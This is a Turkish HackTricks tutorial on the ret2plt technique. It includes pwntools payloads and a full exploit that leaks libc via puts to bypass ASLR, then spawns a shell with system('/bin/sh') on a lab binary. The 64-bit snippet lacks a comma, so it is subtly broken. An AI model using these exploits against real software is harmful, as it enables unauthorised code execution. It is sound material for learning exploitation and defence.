Ret2plt
Reading time: 3 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Bu tekniğin amacı, ASLR'yi atlatabilmek için PLT'den bir fonksiyonun adresini sızdırmak olacaktır. Bunun nedeni, örneğin, libc'den puts
fonksiyonunun adresini sızdırırsanız, libc
'nin temel adresini hesaplayabilir ve system
gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz.
Bu, (buradan) gibi bir pwntools
yükü ile yapılabilir:
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Not edin ki puts
(PLT'den alınan adres kullanılarak) GOT'daki puts
adresi ile çağrılır. Bunun nedeni, puts
GOT girişi yazdırdığında, bu girişin bellek içindeki puts
adresini tam olarak içerecek olmasıdır.
Ayrıca, main
adresinin istismarda nasıl kullanıldığını not edin, böylece puts
çalışmasını bitirdiğinde, binary main
'i tekrar çağırır, çıkmak yerine (bu nedenle sızdırılan adres geçerli olmaya devam eder).
caution
Bunun çalışması için binary PIE ile derlenmemiş olmalıdır veya PLT, GOT ve main adresini bilmek için PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız. Aksi takdirde, önce PIE'yi atlatmanız gerekir.
Bu atlatmanın tam örneğini burada bulabilirsiniz. Bu, o örneğin son istismarıydı:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Diğer örnekler ve Referanslar
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından
system('/bin/sh')
çağırmak için bir ROP gadget'ı. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.